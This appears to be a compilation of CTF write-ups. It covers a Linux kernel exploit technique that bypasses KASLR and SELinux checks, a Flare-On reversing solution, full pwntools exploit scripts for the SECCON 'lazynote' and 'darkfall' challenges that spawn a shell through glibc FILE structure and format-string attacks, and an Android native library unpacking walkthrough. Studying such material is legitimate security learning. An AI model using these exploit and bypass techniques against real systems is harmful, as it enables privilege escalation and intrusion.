5
6
7
8
9
10
11
12
13
14
static inline void __hlist_del(struct hlist_node *n) {
struct hlist_node *next = n->next;
struct hlist_node **pprev = n->pprev;

WRITE_ONCE(*pprev, next);
if (next)
next->pprev = pprev;
}

static inline void hlist_del(struct hlist_node *n) {
__hlist_del(n);
n->next = LIST_POISON1;
n->pprev = LIST_POISON2;
}

The write primitive is:

1
2
3
4
5
A = n->next
B = n->pprev

*B = A
*(A + 0x8) = B

7. Exploit - Bypass KASLR

7.1 IOCTL FIGETBSZ

Invoking ioctl with cmd FIGETBSZ can leak arbitrary data from kernel if f_inode in file can be tampered:

1
2
3
4
5
6
7
8
int do_vfs_ioctl(struct file *filp, unsigned int fd, unsigned int cmd, unsigned long arg) {
int error = 0;
int __user *argp = (int __user *)arg;
struct inode *inode = file_inode(filp);
switch (cmd) {
case FIGETBSZ:
return put_user(inode->i_sb->s_blocksize, argp);
...

We may bypass KASLR by leaking the pipefs_ops from the victim file. rbx(inode) can be controlled by the exploit:

7.2 Tamper file->inode

To enable the leak by ioctl FIGETBSZ, the exploit needs to overwrite f_inode to somewhere in the epitem structure:

Calling epoll_ctl with EPOLL_CTL_MOD can setup inode->i_sb:

1
2
3
4
5
6
7
8
9
uint64_t read32(uint64_t addr) {
struct epoll_event evt;
evt.events = 0;
evt.data.u64 = addr - 24; // offset of s_blocksize
int err = epoll_ctl(file->ep_fd, EPOLL_CTL_MOD, pipes[0], &evt);
uint32_t test = 0xdeadbeef;
ioctl(pipes[0], FIGETBSZ, &test);
return test;
}

EPOLL_CTL_MOD internal:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
SYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd, struct epoll_event __user *, event) {
...
struct epoll_event epds;
struct eventpoll *tep = NULL;

error = -EFAULT;
if (ep_op_has_event(op) &&
copy_from_user(&epds, event, sizeof(struct epoll_event)))
goto error_return;
...
case EPOLL_CTL_MOD:
if (epi) {
if (!(epi->event.events & EPOLLEXCLUSIVE)) {
epds.events |= POLLERR | POLLHUP;
error = ep_modify(ep, epi, &epds);
}
...
}

static int ep_modify(struct eventpoll *ep, struct epitem *epi, struct epoll_event *event) {
...
epi->event.events = event->events; /* need barrier below */
epi->event.data = event->data; /* protected by mtx */
...
}

7.3 Bypass selinux_file_ioctl

Unfortunately, the exploit will always trigger exception in file_has_perm due to the selinux check when KASLR is disabled:

One of the solutions is to pass IS_PRIVATE(inode) in inode_has_perm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define S_PRIVATE	512	/* Inode is fs-internal */
#define IS_PRIVATE(inode) ((inode)->i_flags & S_PRIVATE)

static int inode_has_perm(const struct cred *cred,
struct inode *inode,
u32 perms,
struct common_audit_data *adp) {
struct inode_security_struct *isec;
u32 sid;

validate_creds(cred);

if (unlikely(IS_PRIVATE(inode)))
return 0;
...

The offset of inode->i_flags matches HIDWORD(epitem->fllink.next):

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb-peda$ pt/o struct inode
/* offset | size */ type = struct inode {
/* 0 | 2 */ umode_t i_mode;
/* 2 | 2 */ unsigned short i_opflags;
/* 4 | 4 */ kuid_t i_uid;
/* 8 | 4 */ kgid_t i_gid;
/* 12 | 4 */ unsigned int i_flags;
...
gdb-peda$ pt/o struct epitem
/* offset | size */ type = struct epitem {
...
/* 88 | 16 */ struct list_head {
/* 88 | 8 */ struct list_head *next;

Well, as you can see, if KASLR is enabled, it may actually help us bypass security_file_ioctl check with good chance :)

7.4 Tweak offsets

The padding scheme may not always be consistent among various versions of the gcc compiler. In my case, the arbitrary read becomes node_write8(write8_inode, file->kaddr + **116** - 40, ...):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ pt/o struct epitem                             
/* offset | size */ type = struct epitem {
/* 0 | 24 */ union {
...
/* 104 | 8 */ struct wakeup_source *ws;
/* 112 | 12 */ struct epoll_event {
/* 112 | 4 */ __u32 events;
/* 116 | 8 */ __u64 data;

/* total size (bytes): 12 */
} event;
/* XXX 4-byte padding */

/* total size (bytes): 128 */
}

Finally, pipefs_ops can be successfully leaked via do_vfs_ioctl:

8. Exploit - Arbitrary Write

Since we have the arbitrary read & unlink primitives, we can set up /proc/sys/aaa_rand to achieve arbitrary write by injecting sysctl node with the following procedures:

  • Disable SELinux
  • KSMA & Create fake ctl_node
  • Inject node into ctl_node rb-tree

9. References

Flareon2020 - 10 break

Phrase 1

PTRACE_SYSEMU: raise SIGTRAP whenever a syscall is about to executed, but it will not actually execute the syscall.

Similar to some Windows RE challenges which redirect control flow by SEH/VEH, the child process debugs the parent process by ptrace. The child process handles syscall and signals such as SIGINT, SIGTERM and SIGQUIT:

Well, in some cases the child process also generates segment fault, so the grandchild process will take care of the child process. For solving the first part of the flag, the key is to get the correct value of -nice(0xA5). However, invoking nice in glibc doesn’t lead to the nice syscall:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* Increment the scheduling priority of the calling process by INCR.
The superuser may use a negative INCR to decrement the priority. */
int
nice (int incr)
{
int save;
int prio;
int result;
/* -1 is a valid priority, so we use errno to check for an error. */
save = errno;
__set_errno (0);
prio = __getpriority (PRIO_PROCESS, 0);
if (prio == -1)
{
if (errno != 0)
return -1;
}
result = __setpriority (PRIO_PROCESS, 0, prio + incr);
if (result == -1)
{
if (errno == EACCES)
__set_errno (EPERM);
return -1;
}
__set_errno (save);
return __getpriority (PRIO_PROCESS, 0);
}

Phrase 2

Modified AES & Feistel

Feistel structure can be trivially reversed:

DO NOT TRUST IDA F5

Although IDA doesn’t suggest any loops, MEMORY[0](&loc_804C3C4, &i); creates a loop in f_enc_flag because of SIGSEGV:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 0x804C369
unsigned int __cdecl f_enc_flag(char *a1, unsigned __int64 crc64, int *ctx)
{
int i; // [esp+14h] [ebp-24h]
int jmp_0; // [esp+18h] [ebp-20h]
__mode_t d_04; // [esp+1Ch] [ebp-1Ch]
__mode_t d_48; // [esp+20h] [ebp-18h]
__mode_t v8; // [esp+24h] [ebp-14h]
__mode_t tmp; // [esp+28h] [ebp-10h]
unsigned int v10; // [esp+2Ch] [ebp-Ch]

v10 = __readgsdword(0x14u);
jmp_0 = 0;
f_calc_ctx(crc64, SHIDWORD(crc64), 16, ctx);
d_04 = *a1;
d_48 = *(a1 + 1);
i = 0;
v8 = d_48;
tmp = d_04 ^ chmod(ctx, d_48);
d_04 = d_48;
d_48 = tmp;
MEMORY[0](&loc_804C3C4, &i);
*a1 = d_48;
*(a1 + 1) = d_04;
return __readgsdword(0x14u) ^ v10;
}

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from Crypto.Cipher import AES

edx = 0xA5
enc_d = 0x81A5140

def strlen(addr):
i = 0
while Byte(addr + i) != 0:
i += 1
continue
return i

def f_dec(idx_input):
idx = idx_input ^ 0xAA
if idx & 1:
v6 = strlen(Dword(enc_d + 4 * idx))
v8 = Dword(enc_d + 4 * idx)
v7 = ''
for i in range(0, v6/2):
v7 += chr(((16 * (Byte(v8 + 2*i) - 1)) | (Byte(v8 + (2*i+1)) - 1) & 0xF) & 0xFF)
return v7
else:
decrypt = ''
addr = Dword(enc_d + 4 * idx)
size = Dword(addr + 4 * 4)
encrypted = get_bytes(addr + 20, size)
key = get_bytes(addr, 0x10)
cipher = AES.new(key, AES.MODE_ECB)
for i in range(0, size, 16):
decrypt += cipher.decrypt(encrypted[i:i+16])
return decrypt

def cal_crc64(src, len):
crc = 0
for i in range(len):
b = ord(src[i])
x = Qword(0x8056960 + (8 * ((crc & 0xFF) ^ b)))
crc = x ^ ((crc >> 8) & 0xFFFFFFFFFFFFFFFF)
return crc & 0xFFFFFFFFFFFFFFFF

def mlockall(crc64):
result = 0
while crc64:
if crc64 & 1:
result += 1
crc64 >>= 1
return result & 0xFFFFFFFF

def uname():
return (0x9E3779B9 << 32) | 0xC6EF3720

def chmod(ctx_7, ctx_19, ctx_41, d_48):
tmp1 = (d_48 + ctx_7) & 0xFFFFFFFF # ctx_7
tmp2 = ((tmp1 >> (ctx_41 & 0x1F)) & 0xFFFFFFFF) | ((tmp1 << (-(ctx_41 & 0x1F) & 0x1F)) & 0xFFFFFFFF)
tmp2 = tmp2 & 0xFFFFFFFF
return (tmp2 ^ ctx_19) & 0xFFFFFFFF

def init(crc64):
init_result = []
for _ in range(16):
x = crc64 & 0xFFFFFFFF # [7]
y = (crc64 >> 32) & 0xFFFFFFFF # [19]
z = (mlockall(crc64) / 2) & 0xFFFFFFFF # [41]
k = crc64 & 1
crc64 >>= 1
if k:
crc64 ^= uname()
init_result.append((x, y, z))
return init_result#x, y, z

def enc_flag_round(payload, crc64):
init_result = init(crc64)
d_04 = payload[0]
d_48 = payload[1]
for i in range(16):
init_result_tuple = init_result[i]
d_48, d_04 = (d_04 ^ chmod(init_result_tuple[0], init_result_tuple[1], init_result_tuple[2], d_48)), d_48
return (d_48, d_04)

def dec_flag_round(payload, crc64):
init_result = init(crc64)
d_04 = payload[1]
d_48 = payload[0]
result = [(d_04, d_48)]
for i in range(16):
init_result_tuple = init_result[15 - i]
d_48, d_04 = d_04, (d_48 ^ chmod(init_result_tuple[0], init_result_tuple[1], init_result_tuple[2], d_04))
return (d_04, d_48)

key0 = f_dec(0xA4).split('\x00')[0] # 0xA4
# This string has no purpose and is merely here to waste your time.
crc64 = cal_crc64(key0, len(key0))
print key0
print hex(crc64)

encrypted_payload = []
for i in range(40000 / 4):
encrypted_payload.append(Dword(0x804C640 + 4 * i))

# encrypted_payload = (0x260A064, 0x7D878AEA, 0x0E47CE96C, 0x0C2D3F82, 0x0EBB5B78C, 0x424F35CF, 0x492BAD4F, 0xE07C2820)

def enc_flag():
decrypted_dword = []
for i in range(0, len(encrypted_payload), 2):
payload = (encrypted_payload[i], encrypted_payload[i+1])
x = enc_flag_round(payload, crc64)
decrypted_dword.append(x[0])
decrypted_dword.append(x[1])
return decrypted_dword

def dec_flag():
decrypted_dword = []
for i in range(0, len(encrypted_payload), 2):
payload = (encrypted_payload[i], encrypted_payload[i+1])
x = dec_flag_round(payload, crc64)
decrypted_dword.append(x[0])
decrypted_dword.append(x[1])
return decrypted_dword

def dword_2_str(dword):
result = chr(dword & 0xFF)
result += chr((dword >> 8) & 0xFF)
result += chr((dword >> 16) & 0xFF)
result += chr((dword >> 24) & 0xFF)
return result

print hex(crc64)
dec_dword = enc_flag() #dec_flag()
flag = ''

for i in range(len(dec_dword)):
PatchDword(0x804C640 + 4 * i, dec_dword[i])

for i in dec_dword:
flag += dword_2_str(i)

print list(flag)
print flag[:16]

Phrase 3

The phrase 3 code is executed due to stack overflow. Use emulation to presume each function one by one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from __future__ import print_function
from unicorn import *
from unicorn.x86_const import *
from capstone import *
from pwn import *

BASE = 0x8048000
unicorn_stack_ea = 0xff000000
cap = Cs(CS_ARCH_X86, CS_MODE_32)

def hook_code(uc, address, size, user_data):
#disasm_result = cap.disasm(uc.mem_read(address,size), address).next()
#print("0x%x:\t%s\t%s" %(disasm_result.address, disasm_result.mnemonic, disasm_result.op_str))
pass

def hook_mem_invalid(uc, access, address, size, value, user_data):
print("INVALID MEM ACCESS address = %s" % (hex(address)))
edx = uc.reg_read(UC_X86_REG_EDX)
print(hex(edx))

def push_value(value):
esp = mu.reg_read(UC_X86_REG_ESP)
esp -= 4
mu.mem_write(esp, struct.pack('<I', value))
mu.reg_write(UC_X86_REG_ESP, esp)

with open('break', 'rb') as f:
buf = f.read()

mu = Uc(UC_ARCH_X86, UC_MODE_32)
buf_len = 0x1000 * ((len(buf) / 0x1000) + 1)
mu.mem_map(BASE, buf_len)
mu.mem_write(BASE, buf)
mu.hook_add(UC_HOOK_CODE, hook_code)
mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED, hook_mem_invalid)

mu.mem_map(unicorn_stack_ea, 0x2000)
mu.reg_write(UC_X86_REG_ESP, unicorn_stack_ea + 0x1000)

start_ea = 0x804BFED
end_ea = 0x0804C086

def emu_here(mu):
# ...

emu_here(mu)
mu.emu_start(start_ea, end_ea)
eax = mu.reg_read(UC_X86_REG_EAX)
print(eax)
print('Done')

Finally, you only need to do modular inverse for getting flag x:

1
2
3
x * b == e mod a 
x * b * b^-1 == e * b^-1 mod a
x == e * b^-1 mod a

Seccon2020 - lazynote

We only have 4 chances to execute the following code:

1
2
3
4
5
6
7
8
9
10
11
12
ptr = (__int64)calloc(1uLL, alloc_size);
if ( !ptr )
{
puts(aMemoryError);
exit(1);
}
data_size = alloc_size;
if ( v5 <= alloc_size )
data_size = v5;
readline((__int64)"data: ", (char *)ptr, data_size);
v2 = (_BYTE *)(v5 - 1LL + ptr); // <-
*v2 = 0;

First, to leak libc information, clear the LSB of _IO_read_end and _IO_write_base to zero. Second, overwrite clear the LSB of _IO_2_1_stdin_->_IO_buf_base, so we can overwrite _IO_2_1_stdin_ by input. Third, overwrite IO_2_1_stdin_->_IO_read_ptr to stdin+0x50 and make sure _IO_read_ptr >= _IO_read_end after reading the user input:

1
2
3
4
5
6
7
8
9
10
11
12
13
payload = p64(0xfbad208b)
payload += p64(stdin+0x50) # _IO_read_ptr 0x8
# Make sure fp->_IO_read_ptr >= fp->_IO_read_end after reading
# It's a bit guessy as it's not easy to know how _IO_read_end will be counted after this overwrite
# -0x10: by debugging
payload += p64(stdin-0x10) # _IO_read_end 0x10
payload += p64(stdin+0x50) # _IO_read_base 0x18
payload += p64(stdin+0x50) * 3 # write 0x20
payload += p64(dl_load_lock) # _IO_buf_base 0x38
payload += p64(dl_load_lock + 0x1000) # _IO_buf_end 0x40
payload += p64(0)
payload += user_input
payload += p64(0)*4

Thus, glibc will write user input on _IO_buf_base which is already tampered to dl_load_lock: dl_rtld_lock_recursive(dl_load_lock) == system('/bin/sh\x00').

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from pwn import *

context.os = 'linux'
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
#context.terminal = ['tmux', 'splitw', '-v']

LIBC_PATH = './libc'#'/lib/x86_64-linux-gnu/libc.so.6'
BIN_PATH = './chall'

DEBUG_ON = True

libc = ELF(LIBC_PATH)
binary = ELF(BIN_PATH)

p = 0

def get_base_address(proc):
return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)

def z(breakpoints=[]):
script = "handle SIGALRM ignore\n"
PIE = get_base_address(p)
script += "set $_base = 0x{:x}\n".format(PIE)
for bp in breakpoints:
script += "b *0x%x\n"%(PIE+bp)
#script += 'x/30gx 0x%x\n'%(PIE+0x5060)
gdb.attach(p,gdbscript=script)
'''
def z(command=open('debug')):
if DEBUG_ON:
gdb.attach(p, command)
raw_input()
'''

def allocate(alloc_size, read_size, payload='hah'):
p.sendline('1')
print p.recvuntil('alloc size: ')
p.sendline(str(alloc_size))
print p.recvuntil('read size: ')
p.sendline(str(read_size))
print p.recvuntil('data: ')
p.sendline(payload)

def exploit():
# print (struct _IO_FILE)_IO_2_1_stdout_
print p.recvuntil('> ')
page_size = 0x1000
big_size = 0x10000000 - page_size # trivial details in mmap
offset = big_size + page_size + 0x3ec760 # _IO_2_1_stdout_
offset += 8 * 2
offset += 1 - 0x10 # trivial details in calloc
allocate(big_size, offset)

big_size = 0x10000000 - page_size # trivial details in mmap
offset = 2 * (big_size + page_size) + 0x3ec760 # _IO_2_1_stdout_
offset += 8 * 4
offset += 1 - 0x10 # trivial details in calloc
#allocate(big_size, offset)

p.sendline('1')
p.sendline(str(big_size))
p.sendline(str(offset))
p.sendline('abc')

# leak libc
data = p.recvuntil('> ')
print hexdump(data)
leak = data.split('\x7f')[0]
leak = '\x7f' + leak[-5:][::-1]
print hexdump(leak)
leak = u64(leak[::-1].ljust(8, '\x00'))
success('leak = ' + hex(leak))
libc.address = leak - 0x3ed8b0
success('libc = ' + hex(libc.address))

# Two rounds left
# _IO_2_1_stdin_->_IO_buf_base clears LSB
# Overwrite _IO_read_ptr

big_size = 0x10000000 - page_size # trivial details in mmap
offset = 3 * (big_size + page_size) + 0x3eba00 # _IO_2_1_stdin_
offset += 8 * 7
offset += 1 - 0x10 # trivial details in calloc
allocate(big_size, offset)

'''
$1 = {
_flags = 0xfbad208b,
_IO_read_ptr = 0x7fdf97d8ca00 <_IO_2_1_stdin_> "\213 \255\373",
_IO_read_end = 0x7fdf97d8ca00 <_IO_2_1_stdin_> "\213 \255\373",
_IO_read_base = 0x7fdf97d8ca00 <_IO_2_1_stdin_> "\213 \255\373",
_IO_write_base = 0x7fdf97d8ca00 <_IO_2_1_stdin_> "\213 \255\373",
_IO_write_ptr = 0x7fdf97d8ca00 <_IO_2_1_stdin_> "\213 \255\373",
_IO_write_end = 0x7fdf97d8ca00 <_IO_2_1_stdin_> "\213 \255\373",
_IO_buf_base = 0x7fdf97d8ca00 <_IO_2_1_stdin_> "\213 \255\373",
_IO_buf_end = 0x7fdf97d8ca84 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
'''
dl_load_lock = libc.address + 0x3f1000 + 0x228968
info('dl_load_lock = ' + hex(dl_load_lock))
stdin = libc.sym['_IO_2_1_stdin_']
info('_IO_2_1_stdin_ = ' + hex(stdin))

user_input = '1\n9999\n9999\npadd'
# Check _IO_file_xsgetn
payload = p64(0xfbad208b)
payload += p64(stdin+0x50) # _IO_read_ptr 0x8
# Make sure fp->_IO_read_ptr >= fp->_IO_read_end after reading
# It's a bit guessy as it's not easy to know how _IO_read_end will be counted after this overwrite
# -0x10: by debugging
payload += p64(stdin-0x10) # _IO_read_end 0x10
payload += p64(stdin+0x50) # _IO_read_base 0x18
payload += p64(stdin+0x50) * 3 # write 0x20
payload += p64(dl_load_lock) # _IO_buf_base 0x38
payload += p64(dl_load_lock + 0x1000) # _IO_buf_end 0x40
payload += p64(0)
payload += user_input
payload += p64(0)*4

# dl_rtld_lock_recursive(dl_load_lock)
p.sendlineafter('> ', payload)
payload = '/bin/sh\x00'
payload += (0x228f60-0x228968 - len(payload))*'A'
payload += p64(libc.sym['system'])
p.sendlineafter('data: ', payload)

p.interactive()

if __name__ == '__main__':
if len(sys.argv) == 1:
p = process(executable=BIN_PATH, argv=[BIN_PATH],
env={'LD_PRELOAD': LIBC_PATH})
else:
p = remote('pwn-neko.chal.seccon.jp', 9003, timeout=1)
exploit()

DYCCTF2020 - darkfall

Chall: darkfall

Leak libc by format string and allocate fake chunk on .bss:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *

context.os = 'linux'
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
#context.terminal = ['tmux', 'splitw', '-v']

LIBC_PATH = '/lib/x86_64-linux-gnu/libc.so.6'
BIN_PATH = './darkfall'

DEBUG_ON = True

libc = ELF(LIBC_PATH)
binary = ELF(BIN_PATH)

p = 0

def get_base_address(proc):
return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)

def z(breakpoints=[]):
script = "handle SIGALRM ignore\n"
PIE = get_base_address(p)
script += "set $_base = 0x{:x}\n".format(PIE)
for bp in breakpoints:
script += "b *0x%x\n"%(PIE+bp)
#script += 'x/30gx 0x%x\n'%(PIE+0x5060)
gdb.attach(p,gdbscript=script)
'''
def z(command=open('debug')):
if DEBUG_ON:
gdb.attach(p, command)
raw_input()
'''

def fill_vital_sign(choice, is_skip, personal_choice='', is_confid=True, explain=''):
p.recvuntil('[ 1.fever ]\n[ 2.cough ]\n[ 3.ohers ]\n>> ')
p.send(str(choice))
p.recvuntil('0. Skip\n1. Modify\n>> ')
if is_skip:
p.send('0')
else:
p.send('1')
p.recvuntil('[ 1.fever ]\n[ 2.cough ]\n[ 3.pharyngalgia ]\n>> ')
p.send(personal_choice)
p.recvuntil('0. Skip\n1. Confiding\n>> ')
if is_confid:
p.send('0')
else:
p.send('1')
p.recv(timeout=0.1)
p.send(explain)

def view(day):
p.recvuntil('1. Yes\n0. No\n>> ')
p.sendline('1')
p.recv()
p.sendline(str(day))
p.recvuntil('-> Do you want to keep going??\n0. Exit\n1. Continue\n')
p.sendline('1')

def exploit():
p.recvuntil('Please enter your name(up to 8 bytes): \n>> ')
p.sendline('a')
p.recvuntil('-> Please enter your age(up to 3 bytes.For example, 035->35 years old): \n>> ')
p.sendline('a')

for i in range(49):
fill_vital_sign(0, True) #, 'A'*5)
view(1)
'''
Python>hex(0x603140 + 0x8 + 0x30*48)
0x603a48: day -> 0x31
0x603a50: func pointer
0x603a58-0x603a68: buf
0x603a70: data2
0x603a78: rand
gdb-peda$ x/10gx 0x603a50-0x8
0x603a48 <ObjPersonData+2312>: 0x0000000000000031 0x0000000000400fe4 <- day 0x31
0x603a58 <ObjPersonData+2328>: 0x0000000000000a61 0x0000000000000a61
0x603a68 <ObjPersonData+2344>: 0x0000000000603a50 0x0000000000000000
0x603a78 <ObjPersonData+2360>: 0x0000000000000000 0x0000000000000000
0x603a88 <ObjPersonData+2376>: 0x0000000000000000 0x0000000000000000
'''
# Overwrite item day 49. Overwrite function pointer to printf.
payload = p64(0x400980)
payload += 'C:%19$pL:%27$p'.ljust(16, '\x00')
payload += p64(0x603a58)
print hexdump(payload)

data2 = '\x00'*5 + p64(0x603a50)[:4]
print hexdump(data2)
fill_vital_sign(0, False, data2, is_confid=False, explain=payload)
p.recv()
p.sendline('1')
p.recv()
p.sendline('49')
leak = p.recv(timeout=0.1)
leak = leak.split('L:')[1].split('\n')[0]
leak = int(leak, 16)
info('leak = ' + hex(leak))
p.sendline('1')
libc.address = leak - 0x20830

payload = p64(libc.symbols['system'])
payload += 'A'*16
payload += p64(next(libc.search('/bin/sh\x00')))
print hexdump(payload)
fill_vital_sign(0, True, '', False, payload)

# system('/bin/sh')
p.recv()
p.sendline('1')
p.recv()
p.sendline('49')

p.interactive()

if __name__ == '__main__':
if len(sys.argv) == 1:
p = process(executable=BIN_PATH, argv=[BIN_PATH],
env={'LD_PRELOAD': LIBC_PATH})
else:
p = remote('chall.pwnable.tw', 10001)

exploit()

Java2C RE

The ELF is packed by xmprotect. To unpack the native library, simply just dump the memory or take memory snapshot in IDA.

Recover Dumped Image

Due to self-modified code, the symbol table after memory dumping is corrupted. We can use Frida to get symbols:

1
2
3
4
5
6
7
Java.perform(function () {
var exports = Module.enumerateExportsSync("libnc.so");
for(var i=0; i<exports.length; i++){
console.log(exports[i].name);
console.log(exports[i].address);
}
});

Or undefine the symbol table and ask IDA to reanalyze.

All decrypted code and data are in the .bss segment. Realloc different segment for code, data and rodata:

Read Java2C

Fix all JNI methods:

Force call type:

DES + Base85

+33 suggests that the encoding scheme might be base85:

1
2
3
4
5
6
7
8
from Crypto.Cipher import DES
import base64

key = '12345678'
ciphertext = base64.b64decode('uS4iVjfSV528vQff9SvZWSoDo6siLKwBlTuEhZ2p2Y47ooO8zlxFhw==')
ciphertext += '\x00' * (8 - len(ciphertext) & 0x7)
des = DES.new(key, DES.MODE_ECB)
print des.decrypt(ciphertext) # flag{133773919565441694d0834904391f1c}